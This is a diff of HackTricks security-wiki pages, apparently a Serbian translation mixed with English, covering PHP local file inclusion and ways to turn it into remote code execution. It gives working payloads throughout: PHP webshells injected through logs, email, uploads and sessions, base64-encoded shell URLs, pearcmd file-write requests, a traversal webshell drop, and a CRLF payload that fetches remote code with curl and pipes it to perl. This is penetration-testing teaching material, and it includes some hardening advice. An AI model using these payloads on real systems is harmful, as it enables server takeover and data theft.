Bilo je moguće zloupotrebiti **any arbitrary file read from PHP that supports php filters** da bi se dobio RCE. Detaljan opis može biti [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Veoma kratak rezime: a **3 byte overflow** u PHP heap-u je iskorišćen da bi se **alter the chain of free chunks** određene veličine kako bi bilo moguće **write anything in any address**, pa je dodat hook koji poziva **`system`**.\
|
||||
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebom više php filters.
|
||||
|
||||
### More protocols
|
||||
### Više protokola
|
||||
|
||||
Proverite više mogućih[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Pogledajte više mogućih[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Upis u memoriju ili u privremeni fajl (nije sigurno kako ovo može biti korisno u file inclusion napadu)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Upis u memoriju ili u privremeni fajl (nije sigurno kako ovo može biti korisno u file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Pristup lokalnom fajl sistemu
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Pristup HTTP(s) URL-ovima
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Pristup FTP(s) URL-ovima
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompresioni Streams
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalaženje putanja koje odgovaraju šablonu (It doesn't return nothing printable, so not really useful here)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompresioni tokovi
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalazi putanje koje odgovaraju obrascu (Ne vraća ništa čitljivo, tako da nije baš korisno ovde)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio tokovi (Nije korisno za čitanje proizvoljnih fajlova)
|
||||
|
||||
## LFI via PHP funkcije 'assert'
|
||||
## LFI preko PHP-ove 'assert'
|
||||
|
||||
Rizik od Local File Inclusion (LFI) u PHP-u je naročito visok kada se radi sa funkcijom 'assert', koja može izvršavati kod unutar stringova. To je posebno problematično ako se ulaz koji sadrži karaktere za directory traversal kao što su ".." proverava, ali nije ispravno sanitizovan.
|
||||
Rizici od Local File Inclusion (LFI) u PHP-u su naročito visoki kada se radi sa funkcijom 'assert', koja može izvršavati kod unutar stringova. Ovo je posebno problematično ako se ulaz koji sadrži karaktere za directory traversal kao što su ".." proverava, ali nije pravilno sanitizovan.
|
||||
|
||||
Na primer, PHP kod može biti dizajniran da spreči directory traversal na sledeći način:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Iako je ovo namenjeno da zaustavi traversal, ono nehotično stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja fajla, napadač bi mogao da upotrebi:
|
||||
Iako je ovo namenjeno da zaustavi traversal, to nenamerno stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja datoteke, napadač bi mogao da koristi:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -411,38 +411,38 @@ Važno je **URL-encode these payloads**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Ova tehnika je relevantna u slučajevima gde vi **control** **file path** neke **PHP function** koja će **access a file**, ali nećete videti sadržaj fajla (npr. jednostavan poziv **`file()`**) jer sadržaj nije prikazan.
|
||||
> Ova tehnika je relevantna u slučajevima kada vi **kontrolišete** **file path** neke **PHP function** koja će **access a file**, ali nećete videti sadržaj fajla (npr. jednostavan poziv **`file()`**), odnosno sadržaj nije prikazan.
|
||||
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
U [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) je objašnjeno kako se blind path traversal može zloupotrebiti putem PHP filtera da bi se **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
Kao rezime, tehnika koristi **"UCS-4LE" encoding** da bi sadržaj fajla postao toliko **big** da će **PHP function** koja otvara fajl izazvati **error**.
|
||||
Ukratko, tehnika koristi **"UCS-4LE" encoding** da bi sadržaj fajla bio toliko **velik** da će **PHP funkcija koja otvara** fajl izazvati **error**.
|
||||
|
||||
Zatim, da bi se leak the first char, koristi se filter `dechunk` zajedno sa drugim kao što su **base64** ili **rot13**, i na kraju se koriste filteri `convert.iconv.UCS-4.UCS-4LE` i `convert.iconv.UTF16.UTF-16BE` da bi se postavili ostali chars na početak i leak them.
|
||||
Zatim, da bi se leakovao prvi karakter koristi se filter **`dechunk`** zajedno sa drugim kao što su **base64** ili **rot13**, i na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da bi se postavili drugi karakteri na početak i leak them.
|
||||
|
||||
**Funkcije koje mogu biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Za tehničke detalje pogledajte pomenuti post!
|
||||
For the technical details check the mentioned post!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Kada server-side kod koji prima/uploaduje fajlove gradi destinacionu putanju koristeći user-controlled podatke (npr. filename ili URL) bez canonicalising i validacije, `..` segments i apsolutne putanje mogu pobjeći iz predviđenog direktorijuma i prouzrokovati arbitrary file write. Ako možete smestiti payload u direktorijum izložen webu, obično dobijate unauthenticated RCE tako što ubacite webshell.
|
||||
Kada server-side kod koji prihvata/uploaduje fajlove gradi destinacionu putanju koristeći korisnički kontrolisane podatke (npr. filename ili URL) bez canonicalising i validacije, `..` segmenti i absolute paths mogu pobjeći iz predviđenog direktorijuma i izazvati arbitrary file write. Ako možete postaviti payload ispod web-exposed directory, obično dobijate unauthenticated RCE tako što postavite webshell.
|
||||
|
||||
Tipičan workflow eksploatacije:
|
||||
- Identifikujte write primitive u endpointu ili background workeru koji prihvata path/filename i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
|
||||
- Odredite web-exposed direktorijume. Uobičajeni primeri:
|
||||
Typical exploitation workflow:
|
||||
- Identify a write primitive u nekom endpointu ili background workeru koji prihvata path/filename i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
|
||||
- Determine web-exposed directories. Common examples:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Sastavite traversal putanju koja izlazi iz predviđenog storage direktorijuma u webroot i uključite sadržaj vašeg webshell-a.
|
||||
- Otvorite postavljeni payload u browseru i izvršavajte komande.
|
||||
- Craft a traversal path koji izlazi iz predviđenog storage direktorijuma u webroot, i uključite sadržaj vašeg webshell-a.
|
||||
- Browse to the dropped payload i izvršite komande.
|
||||
|
||||
Napomene:
|
||||
- Vulnerable servis koji obavlja upis može slušati na non-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
|
||||
- Na Java stackovima, ovi file write-ovi su često implementirani prostom `File`/`Paths` konkatenacijom. Lack of canonicalisation/allow-listing je suštinski flaw.
|
||||
Notes:
|
||||
- Usluga koja vrši zapisivanje može slušati na non-HTTP portu (npr. JMF XML listener on TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
|
||||
- Na Java stack-ovima, ova zapisivanja fajlova se često implementiraju prostom `File`/`Paths` konkatenacijom. Nedostatak canonicalisation/allow-listing je osnovni flaw.
|
||||
|
||||
Generički XML/JMF-style primer (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -466,26 +466,26 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Mere za hardening koje onemogućavaju ovu klasu propusta:
|
||||
- Rezolvirajte na kanonički put i osigurajte da je on potomak allow-listed base directory.
|
||||
- Odbijajte sve putanje koje sadrže `..`, apsolutne root-ove, ili drive letters; koristite generisana imena fajlova.
|
||||
- Pokrenite writer pod nalogom sa niskim privilegijama i segregirajte direktorijume za pisanje od served roots.
|
||||
Ojačavanje koje onemogućava ovu klasu ranjivosti:
|
||||
- Rešavajte putanju do kanoničkog oblika i osigurajte da je potomak osnovnog direktorijuma sa liste dozvoljenih.
|
||||
- Odbacite svaku putanju koja sadrži `..`, apsolutne root putanje ili slova drajva; radije koristite generisane nazive fajlova.
|
||||
- Pokrenite proces pisanja kao nalog sa malim privilegijama i odvojite direktorijume za pisanje od direktorijuma koji se serviraju.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
Objašnjeno ranije, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Via Apache/Nginx log file
|
||||
### Preko Apache/Nginx log fajla
|
||||
|
||||
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
|
||||
Ako je Apache ili Nginx server **vulnerable to LFI** unutar include funkcije, možete pokušati pristupiti **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, ubaciti u **user agent** ili u **GET parameter** php shell kao **`<?php system($_GET['c']); ?>`** i uključiti taj fajl
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
|
||||
> Imajte u vidu da **ako koristite dvostruke navodnike** za shell umesto **jednostrukih navodnika**, dvostruki navodnici će biti promenjeni u string "_**quote;**_", **PHP će baciti grešku** i **ništa drugo neće biti izvršeno**.
|
||||
>
|
||||
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
|
||||
> Takođe, uverite se da ste **ispravno napisali payload** ili će PHP prijavljivati grešku svaki put kada pokuša da učita log fajl i nećete imati drugu priliku.
|
||||
|
||||
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
|
||||
Other possible log paths:
|
||||
Ovo se može uraditi i u drugim logovima ali **budite oprezni,** kod unutar logova može biti URL encoded i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell se može ubaciti unutar ovog headera.\
|
||||
Ostale moguće lokacije log fajlova:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -499,78 +499,78 @@ Other possible log paths:
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Putem e-pošte
|
||||
### Putem Email-a
|
||||
|
||||
**Pošaljite mejl** na interni nalog (user@localhost) koji sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da izvršite include mejla korisnika koristeći put kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**
|
||||
**Pošaljite mejl** na interni nalog (user@localhost) koji sadrži vaš PHP payload poput `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da uključite mejl korisnika sa putanjom kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Putem /proc/*/fd/*
|
||||
|
||||
1. Upload a lot of shells (na primer: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gde je $PID = PID procesa (može se brute-force-ovati) i $FD = file descriptor (takođe se može brute-force-ovati)
|
||||
1. Otpremite veliki broj shells (na primer: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute forced) i $FD = file descriptor (može se brute forced takođe)
|
||||
|
||||
### Putem /proc/self/environ
|
||||
|
||||
Slično log fajlu, pošaljite payload u User-Agent; biće reflektovano unutar fajla /proc/self/environ
|
||||
Kao kod log fajla, pošaljite payload u User-Agent, biće reflektovano unutar fajla /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Putem otpremanja
|
||||
|
||||
Ako možete otpremiti fajl, jednostavno ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>` ).
|
||||
Ako možete otpremiti fajl, samo ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>` ).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Da bi fajl ostao čitljiv najbolje je ubaciti u metapodatke slika/doc/pdf
|
||||
Da bi fajl ostao čitljiv, najbolje je ubaciti u metapodatke slika/doc/pdf
|
||||
|
||||
### Putem ZIP uploada fajla
|
||||
### Putem Zip file upload
|
||||
|
||||
Otpremite ZIP fajl koji sadrži kompresovani PHP shell i pristupite:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Preko PHP sesija
|
||||
### Putem PHP sessions
|
||||
|
||||
Proverite da li sajt koristi PHP sesiju (PHPSESSID)
|
||||
Proverite da li sajt koristi PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
U PHP-u ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ fajlovima
|
||||
U PHP ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ fajlovima
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Postavite cookie na `<?php system('cat /etc/passwd');?>`
|
||||
Postavi cookie na `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Iskoristi LFI da uključiš PHP session datoteku
|
||||
Iskoristite LFI da uključite PHP sesijsku datoteku
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Preko ssh
|
||||
|
||||
Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc/passwd) i pokušajte da pristupite **\<HOME>/.ssh/id_rsa**
|
||||
Ako je ssh aktivan, proveri koji korisnik se koristi (/proc/self/status & /etc/passwd) i probaj da pristupiš **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Preko** **vsftpd** _**logova**_
|
||||
|
||||
Logovi FTP servera vsftpd se nalaze u _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:
|
||||
Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i gde je pristup izloženom vsftpd serveru moguć, mogu se razmotriti sledeći koraci:
|
||||
|
||||
1. Injektujte PHP payload u polje za korisničko ime tokom procesa logovanja.
|
||||
2. Nakon injekcije, iskoristite LFI da preuzmete logove servera iz _**/var/log/vsftpd.log**_.
|
||||
1. Ubaci PHP payload u polje za korisničko ime tokom procesa prijave.
|
||||
2. Nakon injekcije, iskoristi LFI da preuzmeš server logove sa _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Preko php base64 filter (using base64)
|
||||
### Preko php base64 filter (korišćenjem base64)
|
||||
|
||||
Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše non-base64. Možete to iskoristiti da zaobiđete proveru ekstenzije fajla: ako dostavite base64 koji se završava sa ".php", on će jednostavno ignorisati "." i dodati "php" base64-u. Evo primer payload-a:
|
||||
Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše Non-base64. To možeš iskoristiti da zaobiđeš proveru ekstenzije fajla: ako dostaviš base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Putem php filters (no file needed)
|
||||
### Putem php filters (nije potreban fajl)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters to generate arbitrary content** kao izlaz. To u suštini znači da možete **generate arbitrary php code** za include **without needing to write** u fajl.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters to generate arbitrary content** kao izlaz. Što u suštini znači da možete **generate arbitrary php code** za include **without needing to write** u fajl.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Putem segmentation fault
|
||||
|
||||
**Upload** fajl koji će biti smešten kao **temporary** u `/tmp`, zatim u **isti zahtev** izazovite **segmentation fault**, i onda **temporary file won't be deleted** i možete ga potražiti.
|
||||
**Upload** fajl koji će biti sačuvan kao **temporary** u `/tmp`, zatim u **istom requestu** izazovite **segmentation fault**, i onda **temporary file won't be deleted** pa ga možete potražiti.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
|
||||
|
||||
### Putem Nginx temp file storage
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i **Nginx** radi ispred PHP-a, možda ćete moći da dobijete RCE sledećom tehnikom:
|
||||
Ako ste pronašli **Local File Inclusion** i **Nginx** radi ispred PHP-a, možda možete dobiti RCE koristeći sledeću tehniku:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -597,14 +597,14 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Putem PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** čak i ako **nemate session** i `session.auto_start` je `Off`. Ako u **multipart POST** podacima navedete **`PHP_SESSION_UPLOAD_PROGRESS`**, PHP će **enable the session for you**. Ovo možete zloupotrebiti da dobijete RCE:
|
||||
Ako ste pronašli **Local File Inclusion** čak i ako **don't have a session** i `session.auto_start` je `Off`. Ako pošaljete **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **enable the session for you**. Ovo možete zloupotrebiti da dobijete RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Putem temp file uploads in Windows
|
||||
### Putem temp file uploads u Windows
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i server radi na **Windows**, možda možete dobiti RCE:
|
||||
|
||||
@ -615,40 +615,40 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Putem `pearcmd.php` + URL args
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripta `/usr/local/lib/phppearcmd.php` postoji po defaultu u php docker images. Štaviše, moguće je proslediti argumente skripti preko URL-a zato što je naznačeno da ako URL param nema `=`, treba da bude korišćen kao argument. Vidi takođe [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) i [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Sledeći primer zloupotrebljava CRLF vuln da bi dobio RCE (iz [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Sledeće zloupotrebljava CRLF vuln za dobijanje RCE (iz [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### Preko phpinfo() (file_uploads = on)
|
||||
### Putem phpinfo() (file_uploads = on)
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i fajl koji izlaže **phpinfo()** sa file_uploads = on, možete dobiti RCE:
|
||||
Ako pronađete **Local File Inclusion** i fajl koji izlaže **phpinfo()** sa file_uploads = on, možete dobiti RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Preko compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
### Putem compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i možete **can exfiltrate the path** privremenog fajla, ALI **server** proverava da li **fajl koji se uključuje ima PHP marks**, možete pokušati da **bypass that check** pomoću ove **Race Condition**:
|
||||
Ako pronađete **Local File Inclusion** i možete **eksfiltrirati putanju** privremenog fajla ALI **server** **proverava** da li fajl koji će biti uključen ima PHP oznake, možete pokušati da **zaobiđete tu proveru** ovom **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### Preko eternal waiting + bruteforce
|
||||
### Putem eternal waiting + bruteforce
|
||||
|
||||
Ako možete zloupotrebiti LFI da **upload temporary files** i naterate server da **hang** PHP izvršavanje, možete onda **brute force filenames during hours** kako biste pronašli privremeni fajl:
|
||||
Ako možete iskoristiti LFI da **uploadujete privremene fajlove** i naterate server da PHP izvršavanje **zaglavi**, onda možete satima **bruteforce-ovati imena fajlova** da biste pronašli privremeni fajl:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -657,14 +657,14 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### Do Fatal Error
|
||||
|
||||
Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Potrebno je uključiti isti fajl 2 puta da bi se izazvala ta greška).
|
||||
Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Potrebno je uključiti isti fajl 2 puta da biste izazvali tu grešku).
|
||||
|
||||
**Ne znam koliko je ovo korisno, ali možda jeste.**\
|
||||
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
||||
**Ne znam koliko je ovo korisno, ali može biti.**\
|
||||
_Čak i ako izazovete PHP Fatal Error, PHP privremeni fajlovi koji su uploadovani se brišu._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
@ -1,38 +1,38 @@
|
||||
# LFI2RCE preko PHP Filters
|
||||
# LFI2RCE via PHP Filters
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Uvod
|
||||
|
||||
Ovaj [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters to generate arbitrary content** kao izlaz. To u suštini znači da možete **generate arbitrary php code** za include **without needing to write** to fajla.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
|
||||
|
||||
Cilj skripte je da **generiše Base64** string na **početku** fajla koji će biti **na kraju dekodiran** i obezbediti željeni payload koji će biti **interpreted by `include`**.
|
||||
U suštini cilj skripte je da **generate a Base64** string na **beginning** fajla koji će biti **finally decoded** i obezbediti željeni payload koji će biti **interpreted by `include`**.
|
||||
|
||||
Osnovni principi su:
|
||||
Osnove za ovo su:
|
||||
|
||||
- `convert.iconv.UTF8.CSISO2022KR` će uvek dodati `\x1b$)C` na početak stringa
|
||||
- `convert.base64-decode` je ekstremno tolerantna, praktično će ignorisati sve karaktere koji nisu validan base64. Daje neke probleme ako nađe neočekivano "=", ali oni se mogu ukloniti pomoću `convert.iconv.UTF8.UTF7` filtera.
|
||||
- `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
|
||||
- `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the `convert.iconv.UTF8.UTF7` filter.
|
||||
|
||||
Petlja za generisanje proizvoljnog sadržaja je:
|
||||
|
||||
1. dodati na početak našeg stringa `\x1b$)C` kao što je gore opisano
|
||||
2. primeniti neki lanac iconv konverzija koji ostavlja naš inicijalni base64 netaknutim i konvertuje deo koji smo upravo dodali u neki string gde je jedini validan base64 karakter sledeći deo našeg base64-ovanog php koda
|
||||
3. base64-dekodirati i zatim base64-enkodirati string, što će ukloniti sav garbage između
|
||||
4. vratiti se na 1 ako base64 koji želimo da konstrušemo još nije završen
|
||||
5. base64-dekodirati da dobijemo naš php kod
|
||||
1. dodaj na početak (`prepend`) `\x1b$)C` našem stringu kao što je opisano gore
|
||||
2. primeni niz iconv konverzija koje ostave naš početni base64 netaknutim i konvertuju deo koji smo upravo dodali u niz gde je jedini validan base64 karakter sledeći deo našeg base64-ovanog php koda
|
||||
3. base64-decode i base64-encode string što će ukloniti sav otpad između
|
||||
4. vrati se na 1 ako base64 koji želimo da konstrušemo još nije gotov
|
||||
5. base64-decode da dobijemo naš php kod
|
||||
|
||||
> [!WARNING]
|
||||
> **Includes** obično rade stvari poput **dodavanja ".php" na kraju** fajla, što može otežati eksploataciju jer biste morali da nađete .php fajl sa sadržajem koji ne pokvari exploit... ili jednostavno **možete koristiti `php://temp` kao resource** jer se u ime može **dodati bilo šta** (lie +".php") i exploit će i dalje raditi!
|
||||
